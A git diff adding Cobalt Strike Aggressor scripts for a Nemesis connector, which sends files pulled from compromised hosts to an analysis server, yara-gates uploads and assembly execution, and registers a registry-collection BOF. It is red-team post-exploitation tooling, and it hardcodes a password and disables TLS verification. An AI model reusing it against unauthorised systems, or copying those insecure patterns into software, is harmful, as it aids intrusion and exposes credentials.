+ if($responseCode == 200) {
+
+ try {
+ $in = [new BufferedReader: [new InputStreamReader: [$con getInputStream]]];
+
+ $inputLine = [$in readLine];
+ if($inputLine eq "") {
+ $inputLine = [$in readLine];
+ }
+
+ [$in close];
+
+ return http::getObjectID($inputLine);
+ }
+ catch $message {
+ logger::WriteError("[UploadFile] Error in parsing upload response: " . $message);
+ return $null;
+ }
+ }
+ else {
+ logger::WriteError("[UploadFile] Response code from Nemesis server: " . $responseCode);
+ }
+ }
+ catch $message2
+ {
+ logger::WriteError("[UploadFile] " . $message2);
+ }
+
+ return $null;
+}
+
+
+sub http::YaraFile {
+ # Uploads a file to the http://nemesis/yara endpoint, returning any yara results
+
+ local('$1 $filepath @parts $filename $auth_header $footer $guid $body $file_bytes $in $url $urlobj $con $wr $responseCode $message $inputLine $message2 $date $url $urlobj $con');
+
+ $filepath = $1;
+ @parts = split('/', $filepath);
+ $filename = @parts[-1];
+ $file_bytes = file::ReadAllBytes($filepath);
+
+ # separator we're using for the stream bounaries
+ $guid = helpers::GetRandomFileName();
+
+ # part 1 - initial header for file bytes
+ $body = "--" . $guid . "\r\n";
+ $body = $body . "Content-Disposition: form-data; name=\"file\"; filename=\"" . $filename . "\"" . "\r\n";
+ $body = $body . "Content-Type: application/octet-stream\r\n\r\n";
+
+ $footer = "\r\n--" . $guid . "\r\n";
+
+ $url = %nemesis::Settings['NemesisYaraUrl'] . 'file';
+ println("url: " . $url);
+ $urlobj = [new URL: $url];
+ $con = [$urlobj openConnection];
+
+ # headers/auth stuffs
+ [$con setRequestProperty: "User-Agent", "NemesisCobaltStrikeConnector"];
+ # make sure we set the GUID that defines our boundary
+ [$con setRequestProperty: "Content-Type", "multipart/form-data; boundary=" . $guid];
+ $auth_header = "Basic " . base64_encode("nemesis:Password123!");
+ [$con setRequestProperty: "Authorization", $auth_header];
+ [$con setRequestMethod: "POST"];
+ [$con setDoOutput: true];
+ [$con setConnectTimeout: 5000];
+
+ try {
+ [$con connect];
+ $wr = [new DataOutputStream: [$con getOutputStream]];
+ [$wr writeBytes: $body];
+ [$wr writeBytes: $file_bytes];
+ [$wr writeBytes: $footer];
+ [$wr flush];
+ [$wr close];
+
+ $responseCode = 0;
+ try {
+ $responseCode = [$con getResponseCode];
+ }
+ catch $message
+ {
+ println("[UploadFile] " . $message);
+ }
+
+ if($responseCode == 200) {
+
+ try {
+ $in = [new BufferedReader: [new InputStreamReader: [$con getInputStream]]];
+
+ $inputLine = [$in readLine];
+ if($inputLine eq "") {
+ $inputLine = [$in readLine];
+ }
+
+ [$in close];
+
+ return $inputLine;
+ }
+ catch $message {
+ println("[UploadFile] Error in parsing upload response: " . $message);
+ return $null;
+ }
+ }
+ else {
+ println("[UploadFile] Response code from Nemesis server: " . $responseCode);
+ }
+ }
+ catch $message2
+ {
+ println("[UploadFile] " . $message2);
+ }
+
+ return $null;
+
+}
+
+
+sub http::getObjectID {
+ # Small helper that extracts an object_id field from JSON results
+ local('$1 $obj')
+
+ $obj = json_new_jsonobject($1);
+ return json_value($obj, "object_id");
+}
+
+
+sub http::PostData {
+ # posts data to the appropriate API endpoint, returning a unique UUID message ID
+
+ local('$1 $2 $3 $4 $BID $Datatype $auth_header $Data $TimeStamp $JsonData $url $urlobj $con $wr $responseCode $in $inputLine');
+
+ $BID = $1;
+ $Datatype = $2;
+ $Data = $3;
+ $TimeStamp = $4;
+
+ $url = %nemesis::Settings['NemesisApiUrl'] . 'data';
+ $urlobj = [new URL: $url];
+
+ $con = [$urlobj openConnection];
+
+ if(%nemesis::Settings['DebugJson']) {
+ $JsonData = helpers::BuildJson($BID, $Datatype, $Data, $TimeStamp);
+ logger::WriteVerbose("PostData URL: " . $url);
+ logger::WriteVerbose($Datatype . " JSON: " . $JsonData);
+ } else {
+ $JsonData = helpers::BuildJson($BID, $Datatype, $Data, $TimeStamp);
+ }
+
+
+ # headers/auth stuffs
+ [$con setRequestProperty: "User-Agent", "NemesisCobaltStrikeConnector"];
+ [$con setRequestProperty: "Content-Type", "application/octet-stream"];
+ $auth_header = "Basic " . base64_encode(%nemesis::Settings['NemesisCreds']);
+ [$con setRequestProperty: "Authorization", $auth_header];
+ [$con setRequestMethod: "POST"];
+ [$con setDoOutput: true];
+ [$con setConnectTimeout: 5000];
+
+
+ try {
+ [$con connect];
+ $wr = [new DataOutputStream: [$con getOutputStream]];
+ [$wr writeBytes: $JsonData];
+ [$wr flush];
+ [$wr close];
+
+ $responseCode = 0;
+ try {
+ $responseCode = [$con getResponseCode];
+ }
+ catch $message
+ {
+ logger::WriteError("[PostData] error: " . $message);
+ }
+
+ if($responseCode == 200) {
+
+ try {
+ $in = [new BufferedReader: [new InputStreamReader: [$con getInputStream]]];
+
+ $inputLine = [$in readLine];
+ if($inputLine eq "") {
+ $inputLine = [$in readLine];
+ }
+
+ [$in close];
+
+ return http::getObjectID($inputLine);
+ }
+ catch $message {
+ logger::WriteError("[PostData] Error in parsing upload response: " . $message);
+ return $null;
+ }
+ }
+ else {
+ logger::WriteError("[PostData] Response code from Nemesis server: " . $responseCode);
+ }
+ }
+ catch $message2
+ {
+ logger::WriteError("Error : " . $message2);
+ # show_error("Error : " . $message2);
+ }
+}
+
+
+sub http::GetFileData {
+ # Get data about a processed file (referenced by the message UUID from http::PostData) from the Elasticsearch server
+
+ local('$1 $2 $3 $MessageID $url $urlobj $base64_creds $con $JsonData $wr $creds $message $responseCode $parsed $response $in $inputline $SSL $inputLine');
+
+ $MessageID = $1;
+
+ $url = %nemesis::Settings['ElasticsearchUrl'] . "file_data_enriched/_search?pretty";
+
+ $urlobj = [new URL: $url];
+
+ $con = $null;
+
+ $SSL = [new SSLUtils];
+ [SSLUtils ignoreSsl];
+
+ $con = [$urlobj openConnection];
+
+ [$con setRequestProperty: "User-Agent", "NemesisCobaltStrikeConnector"];
+ [$con setRequestProperty: "Content-Type", "application/json"];
+ $creds = %nemesis::Settings['NemesisCreds'];
+ $base64_creds = "Basic " . base64_encode([$creds getBytes:[StandardCharsets UTF_8]]);
+ [$con setRequestProperty: "Authorization", $base64_creds];
+ [$con setRequestMethod: "POST"];
+ [$con setDoOutput: true];
+ [$con setConnectTimeout: 5000];
+
+ # logger::WriteVerbose("Getting FileDataEnriched data for message_id '" . $MessageID . "' from server: " . $url);
+
+ # to pull additional fields, specify them in the _source/includes component
+ $JsonData = "
+{
+ \"_source\": {
+ \"includes\": [ \"path\", \"size\", \"objectId\", \"analysis\", \"magicType\", \"nemesisFileType\", \"noseyparker\", \"yaraMatches\", \"extractedPlaintext\", \"convertedPdf\", \"containsDpapi\", \"parsedData.hasParsedCredentials\", \"parsedData.officeDocOle.encrypted\", \"parsedData.officeDocNew.encrypted\", \"hashes.sha1\", \"metadata.messageId\" ]
+ },
+ \"query\": {
+ \"bool\": {
+ \"filter\": [
+ {
+ \"match_phrase\": {
+ \"metadata.messageId\": \"$MessageID\"
+ }
+ }
+ ]
+ }
+ }
+}
+ ";
+
+ try {
+ [$con connect];
+ $wr = [new DataOutputStream: [$con getOutputStream]];
+ [$wr writeBytes: $JsonData];
+ [$wr flush];
+ [$wr close];
+
+ $responseCode = 0;
+ try {
+ $responseCode = [$con getResponseCode];
+ }
+ catch $message
+ {
+ logger::WriteError("[GetFileData] error: " . $message);
+ }
+
+ if($responseCode == 200) {
+
+ try {
+ $in = [new BufferedReader: [new InputStreamReader: [$con getInputStream]]];
+
+ $inputLine = [$in readLine];
+ $response = $inputLine . "\r\n";
+
+ while($inputLine ne "") {
+ $inputLine = [$in readLine];
+ $response = $response . $inputLine . "\r\n";
+ }
+
+ [$in close];
+
+ return json_loads($response);
+ }
+ catch $message {
+ logger::WriteError("[GetFileData] Error in parsing upload response: " . $message);
+ return $null;
+ }
+ }
+ else {
+ # logger::WriteError("[GetFileData] Response code from Nemesis server: " . $responseCode);
+ }
+ }
+ catch $message2
+ {
+ show_error("Error : " . $message2);
+ }
+}
+
+
+sub http::GetFileResults {
+ local('$1 $Retries $NumResults $Results $SleepSecs $Sleep $MessageID $message')
+
+ # Loops for file data processing
+
+ $MessageID = $1;
+ $Retries = $2;
+ $SleepSecs = $3;
+
+ if(!$Retries) {
+ $Retries = 10;
+ }
+ if(!$SleepSecs) {
+ $SleepSecs = 3;
+ }
+
+ $Sleep = $SleepSecs * 1000;
+ $NumResults = 0;
+
+ while(($NumResults lt 1) && ($Retries gt 0)) {
+ sleep(3000);
+ $Results = http::GetFileData($MessageID);
+ try {
+ if($Results) {
+ if("hits" in $Results) {
+ if("total" in $Results["hits"]) {
+ $NumResults = $Results["hits"]["total"]["value"];
+ }
+ else {
+ $NumResults = 0;
+ }
+ }
+ else {
+ $NumResults = 0;
+ }
+ }
+ else {
+ $NumResults = 0;
+ }
+ }
+ catch $message {
+ $NumResults = 0;
+ }
+ $Retries = $Retries - 1;
+ }
+
+ return $Results;
+}
+
+
+sub http::GetProcessData {
+ # Get data about a processed process listing (referenced by the message UUID from http::PostData) from the Elasticsearch server
+
+ local('$1 $2 $3 $MessageID $url $urlobj $base64_creds $con $JsonData $wr $creds $message $responseCode $parsed $response $in $inputline $SSL $inputLine');
+
+ $MessageID = $1;
+
+ $url = %nemesis::Settings['ElasticsearchUrl'] . "process_category/_search?pretty";
+ logger::WriteVerbose("Elasticsearch URL: " . $url);
+
+ $urlobj = [new URL: $url];
+
+ $con = $null;
+
+ $SSL = [new SSLUtils];
+ [SSLUtils ignoreSsl];
+
+ $con = [$urlobj openConnection];
+
+ [$con setRequestProperty: "User-Agent", "NemesisCobaltStrikeConnector"];
+ [$con setRequestProperty: "Content-Type", "application/json"];
+ $creds = %nemesis::Settings['ElasticsearchCreds'];
+ $base64_creds = "Basic " . base64_encode([$creds getBytes:[StandardCharsets UTF_8]]);
+ [$con setRequestProperty: "Authorization", $base64_creds];
+ [$con setRequestMethod: "POST"];
+ [$con setDoOutput: true];
+ [$con setConnectTimeout: 5000];
+
+ logger::WriteVerbose("Getting ProcessCategory data for message_id '" . $MessageID . "' from server: " . $url);
+
+ # to pull additional fields, specify them in the _source/includes component
+ $JsonData = "
+{
+ \"size\": 10000,
+ \"_source\": {
+ \"includes\": [ \"name\", \"processId\", \"parentProcessId\", \"arch\", \"token.session\", \"token.user.name\", \"category.category\", \"category.description\"]
+ },
+ \"query\": {
+ \"bool\": {
+ \"filter\": [
+ {
+ \"match_phrase\": {
+ \"metadata.messageId\": \"$MessageID\"
+ }
+ }
+ ]
+ }
+ }
+}
+ ";
+
+ try {
+ [$con connect];
+ $wr = [new DataOutputStream: [$con getOutputStream]];
+ [$wr writeBytes: $JsonData];
+ [$wr flush];
+ [$wr close];
+
+ $responseCode = 0;
+ try {
+ $responseCode = [$con getResponseCode];
+ }
+ catch $message
+ {
+ logger::WriteError("[GetProcessData] error: " . $message);
+ }
+
+ if($responseCode == 200) {
+
+ try {
+ $in = [new BufferedReader: [new InputStreamReader: [$con getInputStream]]];
+
+ $inputLine = [$in readLine];
+ $response = $inputLine . "\r\n";
+
+ while($inputLine ne "") {
+ $inputLine = [$in readLine];
+ $response = $response . $inputLine . "\r\n";
+ }
+
+ [$in close];
+
+ # logger::WriteVerbose("response: " . $response);
+
+ return json_loads($response);
+ }
+ catch $message {
+ logger::WriteError("[GetProcessData] Error in parsing response: " . $message);
+ return $null;
+ }
+ }
+ else {
+ logger::WriteError("[GetProcessData] Response code from Nemesis server: " . $responseCode);
+ }
+ }
+ catch $message2
+ {
+ show_error("Error : " . $message2);
+ }
+}
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/json-java.jar b/cmd/connectors/cobaltstrike-nemesis-connector/json-java.jar
new file mode 100644
index 0000000..6121978
Binary files /dev/null and b/cmd/connectors/cobaltstrike-nemesis-connector/json-java.jar differ
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/json.cna b/cmd/connectors/cobaltstrike-nemesis-connector/json.cna
new file mode 100755
index 0000000..686c4d3
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/json.cna
@@ -0,0 +1,229 @@
+# Always keep 4 and 34 enabled - they'll help catch common developer mistakes
+debug(debug() | 4); # 4 = display a runtime warning for the first time use of non-declared variables.
+#debug(debug() | 8); # 8 = DEBUGGING: trace all function calls
+debug(debug() | 34); # 34 = "throw" all errors flagged for use with &checkError
+#debug(debug() | 64); # 64 = DEBUGGING: trace all predicate decisions (follow program logic)
+
+# JSON code pulled from pycobalt (no license) https://github.com/dcsync/pycobalt/blob/master/aggressor/json.cna
+
+import java.net.*;
+import java.io.DataOutputStream;
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+
+global('$json_loader $class_JSONObject $class_JSONArray $class_Map $class_String');
+$json_loader = $null;
+$class_JSONObject = $null;
+$class_JSONArray = $null;
+$class_Map = $null;
+$class_String = $null;
+
+# Cobaltstrike's jar loading is broken in jre9+ thanks to some
+# implementation changes by Oracle.
+#
+# This makes a new loader which is capable of loading the json library
+sub _json_new_loader {
+ local('$json_loader $json_url $json_path $json_jar_file');
+
+ # Set default $json_path if needed. This is a directory where we may find
+ # jars/json.jar.
+ if (!$json_path) {
+ $json_path = script_resource();
+ }
+
+ # Set $json_jar_file if needed
+ if (!$json_jar_file) {
+ $json_jar_file = $json_path . '/json-java.jar';
+ }
+
+ if (!-exists $json_jar_file) {
+ println('[json.cna] Could not find ' . $json_jar_file . '. Check $json_path');
+ exit();
+ }
+
+ $json_url = [new URL: 'file://' . $json_jar_file];
+ $json_loader = [new URLClassLoader: @($json_url)];
+ return $json_loader;
+}
+
+# Make a new class by name using the json loader. Caller must initialize
+# $json_loader.
+sub _json_new_class {
+ local('$name');
+
+ $name = $1;
+
+ return [Class forName: $name, false, $json_loader];
+}
+
+# Initialize $json_loader and the $class_* variables if needed.
+sub _json_init_loader {
+ if (!$json_loader) {
+ $json_loader = _json_new_loader();
+ }
+ if (!$class_JSONObject) {
+ $class_JSONObject = _json_new_class('org.json.JSONObject');
+ }
+ if (!$class_JSONArray) {
+ $class_JSONArray = _json_new_class('org.json.JSONArray');
+ }
+ if (!$class_Map) {
+ $class_Map = _json_new_class('java.util.Map');
+ }
+ if (!$class_String) {
+ $class_String = _json_new_class('java.lang.String');
+ }
+}
+
+# Make a new JSONObject object
+sub json_new_jsonobject {
+ local('$arg $ctor $casted');
+
+ $arg = $1;
+
+ _json_init_loader();
+ if ($arg) {
+ if ($arg isa ^String) {
+ # string constructor
+ $ctor = [$class_JSONObject getDeclaredConstructor: @($class_String)];
+ return [$ctor newInstance: @($arg)];
+ } else if ($arg isa typeOf(%())) {
+ # hash/map constructor
+ $ctor = [$class_JSONObject getDeclaredConstructor: @($class_Map)];
+ $casted = casti($arg, $class_Map);
+ return [$ctor newInstance: @($casted)];
+ } else {
+ println("[json.cna] Unknown arg type: " . typeOf($arg));
+ println("[json.cna] For message: " . $arg);
+ return $null;
+ }
+ } else {
+ # single constructor
+ return [$class_JSONObject newInstance];
+ }
+}
+
+# Make a new JSONArray object
+sub json_new_jsonarray {
+ local('$arg $ctor');
+
+ $arg = $1;
+
+ _json_init_loader();
+ if ($arg) {
+ $ctor = [$class_JSONArray getDeclaredConstructor: @($class_String)];
+ return [$ctor newInstance: @($arg)];
+ } else {
+ return [$class_JSONArray newInstance];
+ }
+}
+
+# Convert JSONObjects and JSONArrays to native types
+sub json_native {
+ local('$obj $class_name %ret @ret $i $key');
+
+ $obj = $1;
+
+ $class_name = [[$obj getClass] getName];
+
+ if ($class_name eq 'org.json.JSONObject') {
+ %ret = %();
+
+ foreach $key (json_keys($obj)) {
+ %ret[$key] = json_native(json_value($obj, $key));
+ }
+ return %ret;
+ } else if ($class_name eq 'org.json.JSONArray') {
+ @ret = @();
+ for ($i = 0; $i < json_length($obj); $i++) {
+ push(@ret, json_native(json_value($obj, $i)));
+ }
+ return @ret;
+ } else {
+ return $obj;
+ }
+}
+
+# Convert json to object
+sub json_loads {
+ local('$json $obj');
+
+ $json = $1;
+
+ $obj = json_new_jsonobject($json);
+ if ($obj) {
+ return json_native($obj);
+ } else {
+ return $null;
+ }
+}
+
+# Convert object to json
+sub json_dumps {
+ local('$item $obj $indent $1 $2');
+
+ $item = $1;
+ if($2) {
+ $indent = $2
+ } else {
+ $indent = 0;
+ }
+
+ $obj = json_new_jsonobject($item);
+ if ($obj) {
+ return [$obj toString: $indent];
+ } else {
+ return $null;
+ }
+}
+
+# Get keys from JSONObject
+sub json_keys {
+ local('$obj');
+
+ $obj = $1;
+
+ return [[$obj keySet] toArray];
+}
+
+# Get value from JSONObject or JSONArray
+sub json_value {
+ local('$obj $key');
+
+ $obj = $1;
+ $key = $2;
+
+ return [$obj get: $key];
+}
+
+# # Return list of keys
+# sub json_keys {
+# local('$obj $key');
+
+# $obj = $1;
+
+# return [$obj keySet];
+# }
+
+# Get optional value from JSONObject (returns $null instead of throwing
+# exception if item doesn't exit)
+sub json_optional_value {
+ local('$obj $key');
+
+ $obj = $1;
+ $key = $2;
+
+ return [$obj opt: $key];
+}
+
+# Get length of JSONArray
+sub json_length {
+ local('$arr');
+
+ $arr = $1;
+
+ return [$arr length];
+}
+
+# Init for including thread
+_json_init_loader();
\ No newline at end of file
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/logger.cna b/cmd/connectors/cobaltstrike-nemesis-connector/logger.cna
new file mode 100755
index 0000000..bc23bd4
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/logger.cna
@@ -0,0 +1,49 @@
+# Always keep 4 and 34 enabled - they'll help catch common developer mistakes
+debug(debug() | 4); # 4 = display a runtime warning for the first time use of non-declared variables.
+#debug(debug() | 8); # 8 = DEBUGGING: trace all function calls
+debug(debug() | 34); # 34 = "throw" all errors flagged for use with &checkError
+#debug(debug() | 64); # 64 = DEBUGGING: trace all predicate decisions (follow program logic)
+
+global('$logger::OutputFunc');
+
+sub logger::WriteOutputGui {
+ local('$1 $Message');
+ $Message = $1;
+
+ println($Message);
+ [[System out] println: $Message];
+}
+
+sub logger::WriteOutputHeadless {
+ local('$1 $Message');
+ $Message = $1;
+
+ println($Message);
+}
+
+sub logger::Initialize {
+ local('$1 $IsHeadless');
+ $IsHeadless = $1;
+
+ if($IsHeadless) {
+ $logger::OutputFunc = function('&logger::WriteOutputHeadless');
+ } else {
+ $logger::OutputFunc = function('&logger::WriteOutputGui');
+ }
+}
+
+sub logger::WriteError {
+ local('$1 $Message $Func');
+
+ $Message = "[Nemesis][ERROR]: $1";
+ $Func = $logger::OutputFunc;
+ [$Func: $Message];
+}
+
+sub logger::WriteVerbose {
+ local('$1 $Message $Func');
+
+ $Message = "[Nemesis] $1";
+ $Func = $logger::OutputFunc;
+ [$Func: $Message];
+}
\ No newline at end of file
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/nemesis-connector.cna b/cmd/connectors/cobaltstrike-nemesis-connector/nemesis-connector.cna
new file mode 100644
index 0000000..28f0f13
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/nemesis-connector.cna
@@ -0,0 +1,895 @@
+# Always keep 4 and 34 enabled - they'll help catch common developer mistakes
+debug(debug() | 4); # 4 = display a runtime warning for the first time use of non-declared variables.
+#debug(debug() | 8); # 8 = DEBUGGING: trace all function calls
+debug(debug() | 34); # 34 = "throw" all errors flagged for use with &checkError
+#debug(debug() | 64); # 64 = DEBUGGING: trace all predicate decisions (follow program logic)
+
+include(script_resource("logger.cna"));
+include(script_resource("file.cna"));
+include(script_resource("helpers.cna"));
+include(script_resource("http.cna"));
+include(script_resource("json.cna"));
+include(script_resource("ps.cna"));
+
+global('%nemesis::Settings %EventHandlerMap');
+
+
+#####################################################################
+# #
+# SETTINGS TO CHANGE PER ENGAGEMENT #
+# #
+#####################################################################
+
+
+# The name/ID for the project/engagement
+# overwritten by the NEMESIS_PROJECT environment variable if present
+%nemesis::Settings['NemesisProject'] = "PROJECT-X";
+
+
+#####################################################################
+# #
+# GLOBAL SETTINGS ACROSS ENGAGEMENTS #
+# #
+#####################################################################
+
+# How many days after download the data should be marked for expiration
+# overwritten by the NEMESIS_DATA_EXPIRATION_DAYS environment variable if present
+%nemesis::Settings['DataExpirationDays'] = 100;
+
+# The directory where teamserver synced files are written to on this host
+# overwritten by the NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR environment variable if present
+%nemesis::Settings['DownloadsDir'] = $null;
+
+# The Nemesis server URL, http://:/ format
+# Used when constructing the URL to web api, elastic, kibana, etc (e.g., NEMESIS_BASE_URL + "/kibana")
+# overwritten by the NEMESIS_BASE_URL environment variable if present
+%nemesis::Settings['NemesisBaseUrl'] = $null;
+
+# The Nemesis web-api HTTP basic auth credentials
+# overwritten by the NEMESIS_CREDS environment variable if present
+%nemesis::Settings['NemesisCreds'] = $null;
+
+# 1/0, defines debug JSON output
+# overwritten by the NEMESIS_DEBUG_JSON environment variable if present
+%nemesis::Settings['DebugJson'] = 0;
+
+# Underline minute threshold for beacon process listings
+%nemesis::Settings['BeaconUnderlineThreshold'] = 120;
+
+
+#################################################################
+#
+# Registered Commands, Aliases, and Menus
+#
+#################################################################
+
+beacon_command_register(
+ "nemesis_file_analysis",
+ "Display Nemesis file analysis for a particular submission ID",
+ "Use: nemesis_file_analysis "
+)
+
+beacon_command_register(
+ "bof_reg_collect",
+ "Recursively collect keys from a registry path in a serialized form that Nemesis can ingest.",
+ "Usage: bof_reg_collect "
+)
+
+
+alias bof_reg_collect {
+ local('$params $args $text $hive $path');
+
+ if(size(@_) < 2)
+ {
+ berror($1, beacon_command_detail("bof_reg_collect"));
+ return;
+ }
+
+ $hive = $2;
+ $path = $3;
+
+ $args = bof_pack($1, "zzz", "bof_reg_collect.nemesis", $hive, $path);
+ beacon_inline_execute($1, file::ReadBOF($1, "reg_collect"), "go", $args);
+}
+
+
+alias upload {
+ local('$1 $2 $3 $BID $FilePath $Force $YaraResultsRaw %YaraResultsDict $YaraMatches $YaraMatchesString $FileID');
+
+ $BID = $1;
+ $FilePath = $2;
+ $Force = false;
+
+ if($FilePath eq "-f") {
+ $Force = true;
+ $FilePath = $3;
+ }
+
+ if(!-exists $FilePath) {
+ berror($1, "File path '" . $FilePath . "' doesn't exist!");
+ return;
+ }
+
+ $YaraResultsRaw = http::YaraFile($FilePath);
+ %YaraResultsDict = json_loads($YaraResultsRaw);
+ $YaraMatches = %YaraResultsDict["yara_matches"];
+
+ if(size($YaraMatches) > 0) {
+ $YaraMatchesString = join(", ", $YaraMatches);
+ if($Force) {
+ blog2($BID, "WARNING: forcing an upload despite yara rule matches: " . $YaraMatchesString)
+ bupload($BID, $FilePath);
+ }
+ else {
+ berror($BID, "Upload blocked because of yara rule matches (use `upload -f ` to force): " . $YaraMatchesString)
+ }
+ }
+ else {
+ bupload($BID, $FilePath);
+ }
+}
+
+
+alias execute-assembly {
+ local('$1 $2 $3 $BID $Force $Args $AssemblyPath $YaraResultsRaw %YaraResultsDict $YaraMatches $YaraMatchesString')
+
+ $BID = $1;
+ $Force = false;
+
+ $Args = replace($0, "execute-assembly ", "");
+
+ if ($2 eq "-f") {
+ if ($3 eq "") {
+ berror($1, "No assembly path passed!");
+ return;
+ }
+ else {
+ $AssemblyPath = $3;
+ $Args = replace($Args, "$3", "");
+ $Force = true;
+ }
+ }
+ else {
+ $AssemblyPath = $2;
+ $Args = replace($Args, "$2", "");
+ }
+
+ $Args = matches($Args, '\s*(.*)\s*')[0]; # Trim whitespaces
+
+ if(!-exists $AssemblyPath) {
+ berror($1, "Assembly '" . $AssemblyPath . "' doesn't exist!");
+ return;
+ }
+
+ $YaraResultsRaw = http::YaraFile($AssemblyPath);
+ %YaraResultsDict = json_loads($YaraResultsRaw);
+ $YaraMatches = %YaraResultsDict["yara_matches"];
+
+ if(size($YaraMatches) > 0) {
+ $YaraMatchesString = join(", ", $YaraMatches);
+ if($Force) {
+ blog2($BID, "WARNING: forcing execution of an assembly despite yara rule matches: " . $YaraMatchesString)
+ bexecute_assembly($BID, $AssemblyPath, $Args);
+ }
+ else {
+ berror($BID, "Execution blocked because of yara rule matches (use `execute-assembly -f ` to force): " . $YaraMatchesString)
+ }
+ }
+ else {
+ bexecute_assembly($BID, $AssemblyPath, $Args);
+ }
+}
+
+
+popup nemesis {
+ item "Reprocess Nemesis Downloads" {
+ prompt_confirm("Are you sure you want Nemesis to reprocess ALL existing downloads?", {
+ privmsg("nemesis-bot", "ReprocessDownloads");
+ });
+ }
+}
+
+menubar("Nemesis", "nemesis");
+
+
+
+#################################################################
+#
+# Local Processing Functions
+#
+#################################################################
+
+sub nemesis::ProcessFile {
+ # Submits a file to Nemesis for processing and queries elastic for any data about the file
+ local('$1 $2 $3 $4 $5 $6 $7 $BID $TargetFileFolder $TargetFilePath $TargetFileName $TargetFileSize $HideResults $TimeStamp $FilePath $BID $FileID $MessageID %Output $Results');
+
+ # $BID, $LocalFilePath, $TargetFileFolder, $TargetFileName, $TimeStamp
+
+ $BID = $1;
+ $FilePath = $2; # Path to the file on the current machine
+ $TargetFileFolder = $3; # Folder for the file on target
+ $TargetFileName = $4; # Name of the file on target
+ $TargetFileSize = $5; # Size of the file on target
+ $TimeStamp = $6; # The timestamp passed from the beacon metadata
+ $HideResults = $7; # whether to hide results or display them to a beacon
+
+ $TargetFilePath = replace($TargetFileFolder, "\\\\", "/") . $TargetFileName;
+
+ # Post the file itself to the API, get the UUID back
+ $FileID = http::UploadFile($FilePath);
+
+ if($FileID) {
+ logger::WriteVerbose("$TargetFilePath uploaded, UUID: $FileID");
+
+ if ($TargetFileName hasmatch "bof_reg_collect.nemesis") {
+ %Output = %(
+ data => $FileID,
+ is_file => "true",
+ tags => @("bof_reg_collect")
+ );
+
+ # post the metadata to the correct API endpoint
+ $MessageID = http::PostData($BID, "raw_data", @(%Output), $TimeStamp);
+ } else {
+ %Output = %(
+ object_id => $FileID,
+ path => $TargetFilePath,
+ size => $TargetFileSize
+ );
+
+ # post the metadata to the correct API endpoint
+ $MessageID = http::PostData($BID, "file_data", @(%Output), $TimeStamp);
+ }
+
+ if(!$HideResults) {
+ blog($BID, "Nemesis: uploaded $TargetFileName for analysis\ (object_id: " . $FileID . " , submission_id: " . $MessageID . ")");
+ }
+ logger::WriteVerbose("MessageID: ". $MessageID);
+
+ # 30 retries, 3 second sleep between each
+ $Results = http::GetFileResults($MessageID, 30, 3);
+ if(%nemesis::Settings['DebugJson']) {
+ println("Elastic file results: " . $Results);
+ }
+
+ if($Results) {
+ if(!$HideResults) {
+ nemesis::DisplayFileResults($BID, $Results);
+ }
+ }
+ else {
+ berror($BID, "Timeout in retrieving Nemesis analysis.\nTry shortly with `nemesis_file_analysis " . $MessageID . "`");
+ return $null;
+ }
+ }
+ else {
+ logger::WriteError("Error in uploading file to Nemesis: no file UUID returned");
+ berror($BID, "Error in uploading file to Nemesis: no file UUID returned");
+ }
+
+ if(-exists $FilePath) {
+ deleteFile($FilePath);
+ }
+}
+
+sub nemesis::DisplayFileResults {
+ local('$1 $2 $BID $results $path $size $sha1 $magicType $objectId $messageId $contains_dpapi $has_parsed_credentials')
+ local('$has_deserialization $encrypted $message $kibana_link $file_message $has_noseyparker_results')
+
+ $BID = $1;
+ $results = $2;
+
+ $path = $results["hits"]["hits"][0]["_source"]["path"];
+ $size = $results["hits"]["hits"][0]["_source"]["size"];
+ $sha1 = $results["hits"]["hits"][0]["_source"]["hashes"]["sha1"];
+ $magicType = $results["hits"]["hits"][0]["_source"]["magicType"];
+ $objectId = $results["hits"]["hits"][0]["_source"]["objectId"];
+ $messageId = $results["hits"]["hits"][0]["_source"]["metadata"]["messageId"];
+
+ $contains_dpapi = false;
+ $has_parsed_credentials = false;
+ $has_deserialization = false;
+ $encrypted = false;
+ $has_noseyparker_results = false;
+
+ if("containsDpapi" in $results["hits"]["hits"][0]["_source"]) {
+ $contains_dpapi = $results["hits"]["hits"][0]["_source"]["containsDpapi"];
+ }
+
+ if("noseyparker" in $results["hits"]["hits"][0]["_source"]) {
+ $has_noseyparker_results = true;
+ }
+
+ if("parsedData" in $results["hits"]["hits"][0]["_source"]) {
+ if("hasParsedCredentials" in $results["hits"]["hits"][0]["_source"]["parsedData"]) {
+ $has_parsed_credentials = $results["hits"]["hits"][0]["_source"]["parsedData"]["hasParsedCredentials"];
+ }
+ }
+
+ try {
+ if("analysis" in $results["hits"]["hits"][0]["_source"]) {
+ if("dotnetAnalysis" in $results["hits"]["hits"][0]["_source"]["analysis"]) {
+ if("hasDeserialization" in $results["hits"]["hits"][0]["_source"]["analysis"]["dotnetAnalysis"]) {
+ $has_deserialization = $results["hits"]["hits"][0]["_source"]["analysis"]["dotnetAnalysis"]["hasDeserialization"];
+ }
+ }
+ }
+ }
+ catch $message {}
+
+ try {
+ if("parsedData" in $results["hits"]["hits"][0]["_source"]) {
+ if("officeDocOle" in $results["hits"]["hits"][0]["_source"]["parsedData"]) {
+ if("encrypted" in $results["hits"]["hits"][0]["_source"]["parsedData"]["officeDocOle"]) {
+ $encrypted = $results["hits"]["hits"][0]["_source"]["parsedData"]["officeDocOle"]["encrypted"];
+ }
+ }
+ else if("officeDocNew" in $results["hits"]["hits"][0]["_source"]["parsedData"]) {
+ if("encrypted" in $results["hits"]["hits"][0]["_source"]["parsedData"]["officeDocNew"]) {
+ $encrypted = $results["hits"]["hits"][0]["_source"]["parsedData"]["officeDocNew"]["encrypted"];
+ }
+ }
+ }
+ }
+ catch $message {}
+
+ # blog($BID, "File '" . $TargetFileName . "' analyzed by Nemesis (object_id: " . $objectId .")");
+
+ $file_message = "Nemesis file analyzed : " . $path . "\n";
+ $file_message .= " object_id : " . $objectId ."\n";
+ # $file_message .= " submission_id : " . $messageId ."\n";
+ $file_message .= " sha1 : " . $sha1 . "\n";
+ $file_message .= " magic : " . $magicType . "\n";
+
